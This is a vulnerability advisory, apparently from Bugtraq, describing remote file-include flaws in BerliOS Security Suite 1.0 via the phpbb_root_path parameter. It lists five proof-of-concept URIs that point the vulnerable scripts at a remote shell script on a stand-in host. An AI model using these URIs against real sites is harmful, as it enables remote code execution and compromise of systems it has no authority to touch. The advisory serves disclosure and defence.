BerliOS Security Suite PHPBB_Root_Path Remote File Include Vulnerability

Bugtraq ID:	20370
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 06 2006 12:00AM
Updated:	Oct 13 2006 04:29PM
Credit:	SpiderZ and ReeM HacK are credited with the discovery of these vulnerabilities.
Vulnerable:	Berlios Security Suite 1.0
Not Vulnerable:

BerliOS Security Suite PHPBB_Root_Path Remote File Include Vulnerability

BerliOS Security Suite is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

BerliOS Security Suite 1.0.0 is vulnerable; other versions may also be affected.

BerliOS Security Suite PHPBB_Root_Path Remote File Include Vulnerability

An attacker can exploit these issues via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/[path]/includes/logger_engine.php?phpbb_root_path=http://www.example.com/c-h.v2.txt?ls
http://example.com/[path]/includes/mkb.php?phpbb_root_path=http://www.example.com/c-h.v2.txt?ls
http://example.com/[path]/includes/iplogger.php?phpbb_root_path=http://www.example.com/c-h.v2.txt?ls
http://example.com/[path]/includes/admin_board2.php?phpbb_root_path=http://www.example.com/c-h.v2.txt?ls
http://example.com/[path]/includes/admin_logger.php?phpbb_root_path=http://www.example.com/c-h.v2.txt?ls

BerliOS Security Suite PHPBB_Root_Path Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

BerliOS Security Suite PHPBB_Root_Path Remote File Include Vulnerability

References:

• BerliOS Project Summary Page (berliOS )
  
• Security Suite IP Logger Remote File Inclusion ([email protected])